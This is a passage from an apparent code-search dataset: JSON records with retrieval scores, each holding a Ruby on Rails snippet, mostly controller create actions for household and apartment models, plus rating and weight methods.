@house_fitment = HouseFitment.new(params[:house_fitment])\n\n respond_to do |format|\n if @house_fitment.save\n format.html { redirect_to @house_fitment, notice: 'House fitment was successfully created.' }\n format.json { render json: @house_fitment, status: :created, location: @house_fitment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @house_fitment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "62215a3298f3308e7e05ac1974b0e627", "score": "0.5633196", "text": "def insert_apartments (number,rented,number_of_beds,building_id)\n apartment = Apartment.new(nil,number,rented,number_of_beds,building_id,@db)\n apartment.create\n end", "title": "" }, { "docid": "45fc24793f620da71f94853c1d387b34", "score": "0.56327975", "text": "def create\n @aparty = Aparty.new(aparty_params)\n\n respond_to do |format|\n if @aparty.save\n format.html { redirect_to @aparty, notice: 'Aparty was successfully created.' }\n format.json { render :show, status: :created, location: @aparty }\n else\n format.html { render :new }\n format.json { render json: @aparty.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "645a7809d4881b8a0a243466042c2d08", "score": "0.5625237", "text": "def create\n @allocation = Allocation.new(allocation_params)\n\n if @allocation.save\n render json: @allocation, status: :created, location: @allocation\n else\n render json: @allocation.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "8a73f2bb750c690f247e588b12b417c8", "score": "0.5622106", "text": "def index\n @api_v1_establishments = Establishment.all\n render json: @api_v1_establishments\n end", "title": "" }, { "docid": "44bb080fd02f73065a6cbd7bcc11e057", "score": "0.5618975", "text": "def create\n @household = Household.new(household_params)\n respond_to do |format|\n if @household.save && @household.associate_user(current_user, ['member'])\n #User.create_user_to_group(params[:human_email], @household, 'member', params[:human_first_name], params[:human_last_name], params[:human_phone]) if (params[:human_email] != \"\")\n\n @household.transfer_animals(params[:animal_transfers]) if params[:animal_transfers].present?\n format.html { redirect_to @household, notice: 'Household was successfully created.' }\n format.json { render action: 'show', status: :created, location: @household }\n else\n format.html { render action: 'new' }\n format.json { render json: @household.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2e6d91f1b202aa6eb612099545e6b66b", "score": "0.5612822", "text": "def set_ag_household\n @ag_household = Ag::Household.find(params[:id])\n end", "title": "" }, { "docid": "ae9e4ed390ec9d5be3fbe16e32a62d4a", "score": "0.561074", "text": "def create\n @salary_break_up = SalaryBreakUp.new(salary_break_up_params)\n\n respond_to do |format|\n if @salary_break_up.save\n format.html { redirect_to salary_break_ups_path, notice: 'Salary break up was successfully created.' }\n format.json { render action: 'show', status: :created, location: @salary_break_up }\n else\n format.html { render action: 'new' }\n format.json { render json: @salary_break_up.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "470fe57bc592ca3ef94328b984bcaebd", "score": "0.5609282", "text": "def create\n @household = Household.new(params[:household])\n\n respond_to do |format|\n if @household.save\n format.html { redirect_to(@household, :notice => 'Household was successfully created.') }\n format.xml { render :xml => @household, :status => :created, :location => @household }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @household.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7e8486bad87ac1447469cbd36dfcc114", "score": "0.5597066", "text": "def create\n @household = Household.new(params[:household])\n #set head of household to be the creator of the household\n @household.head = current_user\n\n respond_to do |format|\n if @household.save\n #insecure way of making current user join household but devise doesn't let me have nice thigns\n current_user.join_household(@household).save(:validate => false)\n format.html { redirect_to @household, notice: 'Household was successfully created.' }\n format.json { render json: @household, status: :created, location: @household }\n else\n format.html { render action: \"new\" }\n format.json { render json: @household.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f5a7f1861da254d61c4b6a45b8d33829", "score": "0.55888325", "text": "def create\n\n @job_order = JobOrder.create(job_order_params)\n # @job_order.agency_profile = agency\n # @job_order.save\n # @job_order.assignments.build\n\n\n respond_to do |format|\n if @job_order.save\n format.html { redirect_to job_orders_path(@job_order, anchor: \"job_order_#{@job_order.id}\"), notice: 'Job order was successfully created.' }\n format.json { render :show, status: :created, location: @job_order }\n format.js\n else\n format.html { render :new }\n format.json { render json: @job_order.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end", "title": "" }, { "docid": "bbbb91667b4455c59bf216ffa263c232", "score": "0.55810136", "text": "def create\n @allotment = Allotment.new(allotment_params)\n\n respond_to do |format|\n if @allotment.save\n format.html { redirect_to @allotment, notice: \"Allotment was successfully created.\" }\n format.json { render :show, status: :created, location: @allotment }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @allotment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1792d37acc17dc82e3964983d614ffad", "score": "0.55746967", "text": "def index\n @building = Building.find(params[:building_id])\n @apartments = @building.apartments\n end", "title": "" }, { "docid": "6389b7a06f07cac3764dd3c2c5033662", "score": "0.55728877", "text": "def create\n # Get the associated reservation / group / posting account\n associated = fetch_associated_entity\n errors = []\n if associated.present?\n # bill_one will create bill with number 1 if no bill is present\n associated.bill_one if associated.bills.empty?\n # Create bill with number next increment to last one if not specified\n bill_number = params[:bill_number] ? params[:bill_number] : associated.bills.last.bill_number + 1\n bill = associated.bills.create(bill_number: bill_number)\n hotel = bill.associated.hotel\n # Log activities\n record_actions(hotel, associated, bill_number)\n else\n errors << I18n.t(:could_not_find_associated)\n end\n errors = bill.errors.full_messages\n render(json: errors, status: :unprocessable_entity) if errors.present?\n end", "title": "" }, { "docid": "668166dca0ae9f69fa3baca4aab4e7d0", "score": "0.5560732", "text": "def create\n @house = House.new(house_params)\n @house.house_status = \"available\"\n\n if @house.save\n render :show, status: :created, location: @house\n else\n render json: @house.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "152e5183195fb8c95135646ee70dd343", "score": "0.5560649", "text": "def create\n user_id = current_user.id\n params[:apartment][:user_id] = user_id\n price = params[:apartment][:price]\n params[:apartment][:price] = Apartment.parsePrice(price)\n street_address = params[:apartment][:street_address]\n apartment_number = params[:apartment][:apartment_number]\n\n=begin\n title = params[:apartment][:title]\n city = params[:apartment][:city]\n state = params[:apartment][:state]\n zip = params[:apartment][:zip]\n desc = params[:apartment][:description]\n price = params[:apartment][:price]\n params[:apartment][:price] = Apartment.parsePrice(price)\n beds = params[:apartment][:bedrooms]\n baths = params[:apartment][:bathrooms]\n street_address = params[:street_address]\n apartment_number = params[:apartment_number]\n @apartment = Apartment.add(user_id, title, street_address, apartment_number, city, state, zip, desc, price, beds, baths)\n=end\n\n @apartment = Apartment.new(apt_params)\n if Apartment.where('street_address = ? AND apartment_number = ?', street_address, apartment_number).empty? \n if @apartment.save\n redirect_to @apartment\n else\n render \"new\"\n end\n else\n flash[:error] = \"Error: Apartment with same address and apartment number already exists\\n\"\n redirect_to new_apartment_path\n end\n end", "title": "" }, { "docid": "ac69cb5b8003437ab8e26f9305493c8b", "score": "0.55576587", "text": "def create\n @apartment = Apartment.new(apartment_params)\n\n respond_to do |format|\n if @apartment.save\n format.html {redirect_to @apartment, notice: 'Apartment was successfully created.'}\n format.json {render :show, status: :created, location: @apartment}\n else\n format.html {render :new}\n format.json {render json: @apartment.errors, status: :unprocessable_entity}\n end\n end\n end", "title": "" }, { "docid": "31008e56f77aa33684fc6849a370707f", "score": "0.5556143", "text": "def create\n @parkinghouse = Parkinghouse.new(parkinghouse_params)\n\n respond_to do |format|\n if @parkinghouse.save\n format.html { redirect_to @parkinghouse, notice: 'Parkinghouse was successfully created.' }\n format.json { render :show, status: :created, location: @parkinghouse }\n else\n format.html { render :new }\n format.json { render json: @parkinghouse.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a23cab046a5bc37c5fc1efa8cfd421d3", "score": "0.5554349", "text": "def create\n @itemholdon = Itemholdon.new(itemholdon_params)\n\n respond_to do |format|\n if @itemholdon.save\n format.html { redirect_to @itemholdon, notice: 'Itemholdon was successfully created.' }\n format.json { render action: 'show', status: :created, location: @itemholdon }\n else\n format.html { render action: 'new' }\n format.json { render json: @itemholdon.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7fdfdf151b47f998c6ce74607210cefd", "score": "0.5544763", "text": "def create\n @orderable_assay = OrderableAssay.new(params[:orderable_assay])\n\n respond_to do |format|\n if @orderable_assay.save\n format.html { redirect_to @orderable_assay, notice: 'Orderable assay was successfully created.' }\n format.json { render json: @orderable_assay, status: :created, location: @orderable_assay }\n else\n format.html { render action: \"new\" }\n format.json { render json: @orderable_assay.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5a90e7438e77eac355b1178e9637ad03", "score": "0.55351377", "text": "def create_apartment(apartment)\n\n\tend", "title": "" }, { "docid": "cc5cf5021d27386905afd4b2e526ea7e", "score": "0.5534031", "text": "def index\n @ag_households = Ag::Household.all\n end", "title": "" }, { "docid": "4eb6417459c13c5f77eac51ce14e5d9e", "score": "0.5529609", "text": "def create_goals_after_create\n assessm = Assessment.active.last\n return if assessm.nil? || function_id.nil? || efective_id.nil?\n\n employee_goal_data = assessm.goals.map{|g| {status: g.status, goal_type: g.goal_type, name: g.name, unit: g.unit, nature: g.nature, target: g.target, goal_id: g.id, employee_id: efective_id, position_id: id, assessment_id: assessm.id}}\n EmployeeGoal.create(employee_goal_data)\n end", "title": "" }, { "docid": "e776ddcbfce8373c66d465445a9da45a", "score": "0.55211914", "text": "def create\n @allotment = Allotment.new(allotment_params)\n\n respond_to do |format|\n if @allotment.save\n format.html { redirect_to @allotment, notice: 'Allotment was successfully created.' }\n format.json { render :show, status: :created, location: @allotment }\n else\n format.html { render :new }\n format.json { render json: @allotment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0ddb7d5ecbda46c6547277befc9ad88e", "score": "0.5518014", "text": "def create\n @house_expense_per_tenant = HouseExpensePerTenant.new(house_expense_per_tenant_params)\n\n respond_to do |format|\n if @house_expense_per_tenant.save\n format.html { redirect_to @house_expense_per_tenant, notice: 'House expense per tenant was successfully created.' }\n format.json { render :show, status: :created, location: @house_expense_per_tenant }\n else\n format.html { render :new }\n format.json { render json: @house_expense_per_tenant.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "97d583067f4efc93a6153f9b29d1d9d2", "score": "0.5498927", "text": "def create\n @appartment = Appartment.new(appartment_params)\n\n respond_to do |format|\n if @appartment.save\n format.html { redirect_to @appartment, notice: 'Appartment was successfully created.' }\n format.json { render :show, status: :created, location: @appartment }\n else\n format.html { render :new }\n format.json { render json: @appartment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "97d583067f4efc93a6153f9b29d1d9d2", "score": "0.5498927", "text": "def create\n @appartment = Appartment.new(appartment_params)\n\n respond_to do |format|\n if @appartment.save\n format.html { redirect_to @appartment, notice: 'Appartment was successfully created.' }\n format.json { render :show, status: :created, location: @appartment }\n else\n format.html { render :new }\n format.json { render json: @appartment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9f001a89eca7a0a8143749d0566f1326", "score": "0.5495658", "text": "def create\n @house = @association.houses.new(house_params)\n\n respond_to do |format|\n if @house.save\n format.html { redirect_to @house, notice: 'House was successfully created.' }\n format.json { render :show, status: :created, location: @house }\n else\n format.html { render :new }\n format.json { render json: @house.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d1b7ed8b1ca2ab2aee6af709d9720ba2", "score": "0.54873365", "text": "def create\n @household = Household.create(household_params)\n @household.add_member!(current_user)\n @household.make_head_admin(current_user)\n @household.todos << Completable::Todo.create(:title => 'Create some todo task items.', :creator => current_user)\n @household.shopping_items << Completable::ShoppingItem.create(:title => 'Add some items to your shopping list.', :creator => current_user)\n redirect_to household_path\n end", "title": "" }, { "docid": "4d27edfd610230390ec70aeaead387de", "score": "0.54850703", "text": "def create\n @house_module = HouseModule.new(house_module_params)\n respond_to do |format|\n if @house_module.save\n @house_module.add_articles_modules(params[:house_module][:article_ids].split(','))\n format.html { redirect_to @house_module, notice: 'House module was successfully created.' }\n format.json { render :show, status: :created, location: @house_module }\n else\n format.html { render :new }\n format.json { render json: @house_module.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "457f39cdb337eff00d3c834b51051d99", "score": "0.5484818", "text": "def create\n @administration_cost = AdministrationCost.new(administration_cost_params)\n\n respond_to do |format|\n if @administration_cost.save\n # Create apportionments per greenhouse\n @cycles = Cycle.where(active: true)\n @area_sum = 0.0\n @cycles.each do |cycle|\n @area_sum += cycle.greenhouse.area\n end\n @total_amount = @administration_cost.total\n @cycles.each do |cycle|\n event_date = @administration_cost.event_date\n greenhouse = cycle.greenhouse\n greenhouse_id = greenhouse.id\n area = greenhouse.area\n percentage = (area * 100) / @area_sum\n amount = @total_amount * (percentage / 100)\n @apportionment_per_greenhouse = @administration_cost.apportionment_per_greenhouses.create(event_date: event_date,\n greenhouse_id: greenhouse_id,\n percentage: percentage,\n amount: amount)\n end\n\n format.js\n format.html { redirect_to @administration_cost, notice: 'Administration cost was successfully created.' }\n format.json { render action: 'show', status: :created, location: @administration_cost }\n else\n format.js\n format.html { render action: 'new' }\n format.json { render json: @administration_cost.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ff6f3ec359dfa67c9bb7a6f05c474db8", "score": "0.54842734", "text": "def create\n @house = House.new(params[:house])\n\n respond_to do |format|\n if @house.save\n current_person.houses << @house\n format.html { redirect_to root_path, notice: 'House was successfully created.' }\n format.json { render json: @house, status: :created, location: @house }\n else\n format.html { render action: \"new\" }\n format.json { render json: @house.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d4ac7f0329b8392fbf9bbbf40f918313", "score": "0.54743475", "text": "def create\n @house = House.new(house_params)\n @house_owner=current_user.id\n \n @city= City.all\n @livingroom_amenities = LivingroomAmenitie.all\n @bathroom_amenities = BathroomAmenitie.all\n @bedroom_amenities = BedroomAmenitie.all\n @kitchen_amenities = KitchenAmenitie.all\n @other_amenities = OtherAmenitie.all\n respond_to do |format|\n if @house.save\n format.html { redirect_to @house, notice: 'House was successfully created.' }\n format.json { render :show, status: :created, location: @house }\n else\n format.html { render :new }\n format.json { render json: @house.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e21e37c14710cf8be256bf46cd36a752", "score": "0.5468453", "text": "def create\n @onhold_reason = OnholdReason.new(onhold_reason_params)\n\n respond_to do |format|\n if @onhold_reason.save\n format.html { redirect_to @onhold_reason, notice: 'Onhold reason was successfully created.' }\n format.json { render :show, status: :created, location: @onhold_reason }\n else\n format.html { render :new }\n format.json { render json: @onhold_reason.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a9d8631a01bc0e0048948e9c8126f68b", "score": "0.54657483", "text": "def create_announcement(payload)\n JSON.parse Announcement.create_announcement(@base_url, @headers, payload.to_json)\n end", "title": "" }, { "docid": "5c0a22a826e5a95eee7de8fe1cad6a1c", "score": "0.545897", "text": "def create\n @payroll_harvesting = PayrollHarvesting.new(payroll_harvesting_params)\n\n respond_to do |format|\n if @payroll_harvesting.save\n format.html { redirect_to @payroll_harvesting, notice: 'Payroll harvesting was successfully created.' }\n format.json { render :show, status: :created, location: @payroll_harvesting }\n else\n format.html { render :new }\n format.json { render json: @payroll_harvesting.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "af0a620f2510a58b232bef08bf9a3629", "score": "0.5454102", "text": "def establishments\n health_care_establishments = HealthCareEstablishment.byName(params[:name])\n .filter_administrative(params[:administratives])\n .filter_health_unities(params[:health_unities])\n # render plain: params\n render json: health_care_establishments, include: json_options\n\n end", "title": "" }, { "docid": "eb2d0e0ca27352e10c4c968e080bd997", "score": "0.5452297", "text": "def create\n @household_unit = HouseholdUnit.new(params[:household_unit])\n\n respond_to do |format|\n if @household_unit.save\n format.html { redirect_to(household_units_path, :notice => 'Household was successfully created.') }\n format.json { render :json => @household_unit }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @household_unit.errors }\n end\n end\n end", "title": "" }, { "docid": "aff327660e07224f7f2b9f853b71774d", "score": "0.54475147", "text": "def ag_household_member_params\n params.require(:ag_household_member).permit(:ag_household_id, :ag_resident_id, :head)\n end", "title": "" }, { "docid": "dc63f4c7ddcf3dc3dcfb8f943f0058c6", "score": "0.54473984", "text": "def create\n get_data\n @adjustment_detail = @adjustment.details.create(params[:adjustment_detail])\n get_data\n end", "title": "" }, { "docid": "05558995bb2d12e18bd4308908391f01", "score": "0.54416114", "text": "def create\n @house_expense = HouseExpense.new(house_expense_params)\n @house_expense.house_expense_per_tenant.each do |per_tenant|\n per_tenant.amount = @house_expense.amount / @house_expense.house_expense_per_tenant.size\n end\n @house_expense.house_id = current_user.house_id\n account_cycle = HouseSetting.get_current_account_cycle_setting(current_user.house_id)\n @house_expense.house_account_cycle_id = account_cycle.setting_value\n respond_to do |format|\n if @house_expense.save\n format.html { redirect_to @house_expense, notice: 'House expense was successfully created.' }\n format.json { render :show, status: :created, location: @house_expense }\n else\n format.html { render :new }\n format.json { render json: @house_expense.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0acb190ad66b542ae7d6682cd62fe485", "score": "0.54285765", "text": "def create\n @establishment = Establishment.new(establishment_params)\n\n respond_to do |format|\n if @establishment.save\n format.html { redirect_to @establishment, notice: 'Establishment was successfully created.' }\n format.json { render :show, status: :created, location: @establishment }\n else\n format.html { render :new }\n format.json { render json: @establishment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0acb190ad66b542ae7d6682cd62fe485", "score": "0.54285765", "text": "def create\n @establishment = Establishment.new(establishment_params)\n\n respond_to do |format|\n if @establishment.save\n format.html { redirect_to @establishment, notice: 'Establishment was successfully created.' }\n format.json { render :show, status: :created, location: @establishment }\n else\n format.html { render :new }\n format.json { render json: @establishment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0791cbd39eeed31ba4d85fa987047f94", "score": "0.54219013", "text": "def house_params\n params.require(:house).permit(:purchase_date, :price_paid, :original_balance, :current_value, :interest_rate, :term_length, :term_start_date, :mortgage_account_id, :offset_account_id, :name, :address,:monthly_payment)\n end", "title": "" }, { "docid": "801c0ce93766044a826ad21849a1d756", "score": "0.5418737", "text": "def house_hold_params\n params.require(:house_hold).permit(:name, :description, :address, {:admin_ids => []}, {:user_ids => []})\n end", "title": "" }, { "docid": "bcb6d4c5bbc626dc7c415140306d4136", "score": "0.54127336", "text": "def destroy\n @ag_household.destroy\n respond_to do |format|\n format.html { redirect_to ag_households_url, notice: 'Household was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2244db4ddb5e2d56c48b6dee3c7e6af7", "score": "0.5400945", "text": "def create_ad(params={})\n request(:post, '/api/ad-create/', params).data\n end", "title": "" }, { "docid": "2244db4ddb5e2d56c48b6dee3c7e6af7", "score": "0.5400945", "text": "def create_ad(params={})\n request(:post, '/api/ad-create/', params).data\n end", "title": "" }, { "docid": "9facd4682da2cea8bf9f48cce7025991", "score": "0.539948", "text": "def create_apartments(floors,apts_by_floor,building_id)\n apartments = []\n floors.times do |floor|\n apts_by_floor.times do |block|\n number = (floor + 1).to_s + Helper.getLetter(block)\n #all apartments are created with 2 beds and Avalibable\n apartments << insert_apartments(number,'false',2,building_id)\n end\n end\n apartments\n end", "title": "" }, { "docid": "8dec5e8a380ffd99948384bb2eb64e28", "score": "0.53975576", "text": "def create\n @hazard = @task.hazards.new(params[:hazard])\n\n respond_to do |format|\n if @hazard.save\n format.html { redirect_to [@department,@task], notice: 'Hazard was successfully created.' }\n format.json { render json: @task, status: :created, location: @hazard }\n else\n format.html { render action: \"new\" }\n format.json { render json: @hazard.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5bb1460d0b49d1e376454d600f8e4f82", "score": "0.5395584", "text": "def create\n @appartament = Appartament.new(appartament_params)\n\n respond_to do |format|\n if @appartament.save\n format.html { redirect_to @appartament, notice: \"Appartament was successfully created.\" }\n format.json { render :show, status: :created, location: @appartament }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @appartament.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "951e0faf457dd9ed84d77a245723b116", "score": "0.5395366", "text": "def create\n @residencial = Residencial.find(params[:residencial_id])\n @apartamento = @residencial.apartamentos.build(params[:apartamento])\n #@apartamento = Apartamento.new(params[:apartamento])\n\n respond_to do |format|\n if @apartamento.save\n #format.html { redirect_to [@apartamento.residencial, @apartamento], notice: 'Apartamento foi criado com sucesso.' }\n format.html { redirect_to residencial_apartamentos_path, notice: 'Apartamento foi criado com sucesso.' }\n format.json { render json: @apartamento, status: :created, location: @apartamento }\n else\n format.html { render action: \"new\" }\n format.json { render json: @apartamento.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f1659dd1e865df2dfb506fab347cb71", "score": "0.53927165", "text": "def create\n @transaction = Transaction.for_household(params[:household_id]).new(params[:transaction])\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to(@household, :notice => 'Household transaction was successfully created.') }\n format.xml { render :xml => @transaction, :status => :created, :location => @transaction }\n else\n format.html { render :template => 'households/show' }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "692c360623ab53fe4c88c111ec86c7da", "score": "0.53817505", "text": "def create\n @assaigment = Assaigment.new(assaigment_params)\n\n respond_to do |format|\n if @assaigment.save\n format.html { redirect_to @assaigment, notice: 'Assaigment was successfully created.' }\n format.json { render :show, status: :created, location: @assaigment }\n else\n format.html { render :new }\n format.json { render json: @assaigment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "09509af5288b3acbd5ca27a6b91b6a22", "score": "0.53812194", "text": "def create\n @house_hour_requirement = HouseHourRequirement.new(params[:house_hour_requirement])\n\n respond_to do |format|\n if @house_hour_requirement.save\n format.html { redirect_to @house_hour_requirement, :notice => 'House hour requirement was successfully created.' }\n format.json { render :json => @house_hour_requirement, :status => :created, :location => @house_hour_requirement }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @house_hour_requirement.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bf723622992b49fd358420fbbaff6926", "score": "0.53683376", "text": "def create\n @house = House.new(house_params)\n\n if @house.save\n render json: @house\n else\n render json: @house.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "67585b8f06bfa01dad85cfd628422987", "score": "0.53636986", "text": "def execute_loan_disbursement_ledger_posting\n AccountingService::LoanDisbursement.create_loan_disbursement(self)\n end", "title": "" }, { "docid": "667d625d9efecea9d9098b179b8c2764", "score": "0.5355531", "text": "def create\n @hold_deal = HoldDeal.new(hold_deal_params)\n\n respond_to do |format|\n if @hold_deal.save\n format.html { redirect_to @hold_deal, notice: 'Hold deal was successfully created.' }\n format.json { render action: 'show', status: :created, location: @hold_deal }\n else\n format.html { render action: 'new' }\n format.json { render json: @hold_deal.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6adaced1022a6c409e2b577b8fbdc793", "score": "0.5355234", "text": "def create\n @avancement = current_user.avancements.build(avancement_params)\n\n respond_to do |format|\n if @avancement.save\n @avancements = Avancement.all\n\n format.html { redirect_to @avancement, notice: 'Avancement was successfully created.' }\n format.json { render :show, status: :created, location: @avancement }\n format.js\n else\n format.html { render :new }\n format.json { render json: @avancement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6db9b213328fbc5b9a725d858fbbee8b", "score": "0.53513753", "text": "def create\n @abreviation = Abreviation.new(params[:abreviation])\n\n respond_to do |format|\n if @abreviation.save\n format.html { redirect_to @abreviation, :notice => 'Abreviation was successfully created.' }\n format.json { render :json => @abreviation, :status => :created, :location => @abreviation }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @abreviation.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "37c31573752f4e6b4434f9353dc0c3cd", "score": "0.5350725", "text": "def create\n @request_apartment = RequestApartment.new(request_apartment_params)\n\n respond_to do |format|\n if @request_apartment.save\n format.html { redirect_to @request_apartment, notice: 'Request apartment was successfully created.' }\n format.json { render :show, status: :created, location: @request_apartment }\n else\n format.html { render :new }\n format.json { render json: @request_apartment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bf9d8484d28d8b6c25652907f4e4b435", "score": "0.5348996", "text": "def holdings\n begin\n product_response = client.investments.holdings.get(access_token)\n pretty_print_response(product_response)\n content_type :json\n { holdings: product_response }.to_json\n rescue Plaid::PlaidAPIError => e\n error_response = format_error(e)\n pretty_print_response(error_response)\n content_type :json\n error_response.to_json\n end\n end", "title": "" }, { "docid": "edc8886c623e4104723cf09a241b05ad", "score": "0.5338636", "text": "def house_hold_params\n params.require(:house_hold).permit(:name, :member_id, :chore_id)\n end", "title": "" } ]
91e94650e2f2494a5ce8d60a2e49e476
Weight methods apply only to WikiRatings TODO: hamlize
[ { "docid": "9e1693bb9ec06e42f88435724925982b", "score": "0.0", "text": "def weight_row weight=0, label=nil\n label ||= _render_thumbnail_no_link\n weight = weight_content weight\n output([wrap_with(:td, label, class: \"metric-label\"),\n wrap_with(:td, weight, class: \"metric-weight\")]).html_safe\n end", "title": "" } ]
[ { "docid": "8f0112484880b3d46414d321220a321c", "score": "0.692835", "text": "def weighted_score\n score * metric.weight\n end", "title": "" }, { "docid": "ab39aaa7dc9c5fff643a487ee592465b", "score": "0.6885323", "text": "def weight; end", "title": "" }, { "docid": "8e85063059bf2b7665feddb368a222d1", "score": "0.68711764", "text": "def calculate_weight\n update_attribute :weight, votes.sum(:value)\n weight\n end", "title": "" }, { "docid": "246ab97f86a50e6ad10cf8246c161f73", "score": "0.67713284", "text": "def overall_weighted_rating\n @ratings.group_by(&:evaluation_criteria_id).sum do |criteria_group|\n criteria = EvaluationCriteriaRepository.new.find(criteria_group[0])\n calc = Calculator.new(ratings_for(criteria_group), criteria)\n calc.weighted_avg_all_users\n end\n end", "title": "" }, { "docid": "874c3691f5d7e5500f6404593bad809e", "score": "0.6770779", "text": "def swagger \n critiq_rating + like_rating\n end", "title": "" }, { "docid": "9b3148931ad1afb9ae00609d17bba2aa", "score": "0.66759676", "text": "def boost\n 1.0 #self.rating / 2.0\n end", "title": "" }, { "docid": "5cff9e3d29ec2e61cbb7d0b7f3ad9540", "score": "0.66357905", "text": "def weightPolls()\n\n end", "title": "" }, { "docid": "5a19bbad9064b3692a3869d1245448b3", "score": "0.6625197", "text": "def compute_weighted_overall_score\n (Player::Feedback::FIT_WEIGHT * avg_fit_score +\n Player::Feedback::PUNC_WEIGHT * avg_punctuality_score +\n Player::Feedback::SKILL_WEIGHT * avg_skill_score +\n Player::Feedback::PERS_WEIGHT * avg_personality_score)\n end", "title": "" }, { "docid": "846be79a61951d8846d33394567f4db7", "score": "0.660282", "text": "def num_ratings \n 5\n end", "title": "" }, { "docid": "026b02c0ea60a7be5b396605e3434efe", "score": "0.65964204", "text": "def weight\n 2 # ounces\n end", "title": "" }, { "docid": "cad5b6e6db1fb0999baeecf8cae3c570", "score": "0.6586133", "text": "def normalized_weighting\n BigDecimal(weight.to_s) / ReputationRule.sum('weight')\n end", "title": "" }, { "docid": "c34cde7e979c23fb8209ebd3435e1f2e", "score": "0.6581441", "text": "def rating\n rating_calculator.rate(raters)\n end", "title": "" }, { "docid": "b2d2f471894555102d550d637213ac4d", "score": "0.6476564", "text": "def lesson_rating_for(lesson, user, *args)\n if user == lesson.instructor || !lesson.owned_by?(user) || lesson.entitled_by_groups(current_user)\n ratings_for(lesson, :static)\n else\n ratings_for(lesson)\n end\n end", "title": "" }, { "docid": "72e5d221eed2bcef3c24266ff2e8f0a0", "score": "0.6451263", "text": "def weighted_score\n return nil if self.points.nil?\n self.points * self.weighting / self.maximum_points\n end", "title": "" }, { "docid": "0f0b2fe020c469e2c28410e2fbe7df70", "score": "0.6421538", "text": "def update_score\n sum = 0.0\n total = 0.0\n ratings.each do |rating|\n vp = User.find(rating.user_id).voting_power \n sum = sum + rating.score * vp\n total = total + vp\n end\n average = sum / total\n variance = ratings.inject(0.0){ |sum, element| sum + \n (element.score - average) ** 2 }\n penalty = Math.log10((variance / ratings.size) + 1) + 1.0;\n update_attribute(:score, average / penalty)\n end", "title": "" }, { "docid": "793929292db52ac81726a2282dba11ab", "score": "0.6392076", "text": "def calculate_average_rating\n weighted_drinks_ratings.sum.to_f / weighted_drinks_ratings.count\n end", "title": "" }, { "docid": "dd4e280be471f53b110d334c1712c20d", "score": "0.6382159", "text": "def ratings_sum\nend", "title": "" }, { "docid": "1892487e06f7a57a1d454e062fc5be5a", "score": "0.63730705", "text": "def corrected_rating\n [(weighted_rating + 2) * 1.6666666666666667, 5.0].min\n end", "title": "" }, { "docid": "21d928e6b1254b1e6acfc908dd757ec9", "score": "0.6351222", "text": "def weighting\n self.class.weighting\n end", "title": "" }, { "docid": "1431657339449bb288cd9414be4b7893", "score": "0.6349567", "text": "def beer_rating\n # if all three public rating sources are nil, provide a \"zero\" rating for this beer\n if beer_rating_one.blank? && beer_rating_two.blank? && beer_rating_three.blank?\n (3.25*2).round(2)\n # else, combine the public ratings according to algorithm below\n else \n # determine if a large number of people have provided ratings on this beer\n if number_ratings_one \n first_ratings = number_ratings_one\n else\n first_ratings = 0\n end\n if number_ratings_two \n second_ratings = number_ratings_two\n else\n second_ratings = 0\n end\n if number_ratings_three\n third_ratings = number_ratings_three\n else\n third_ratings = 0\n end\n # calculate total number of ratings \n number_of_ratings = (first_ratings + second_ratings + third_ratings)\n # if a significant number (>500) have rated this beer, don't discount the rating\n if number_of_ratings >= 500\n if 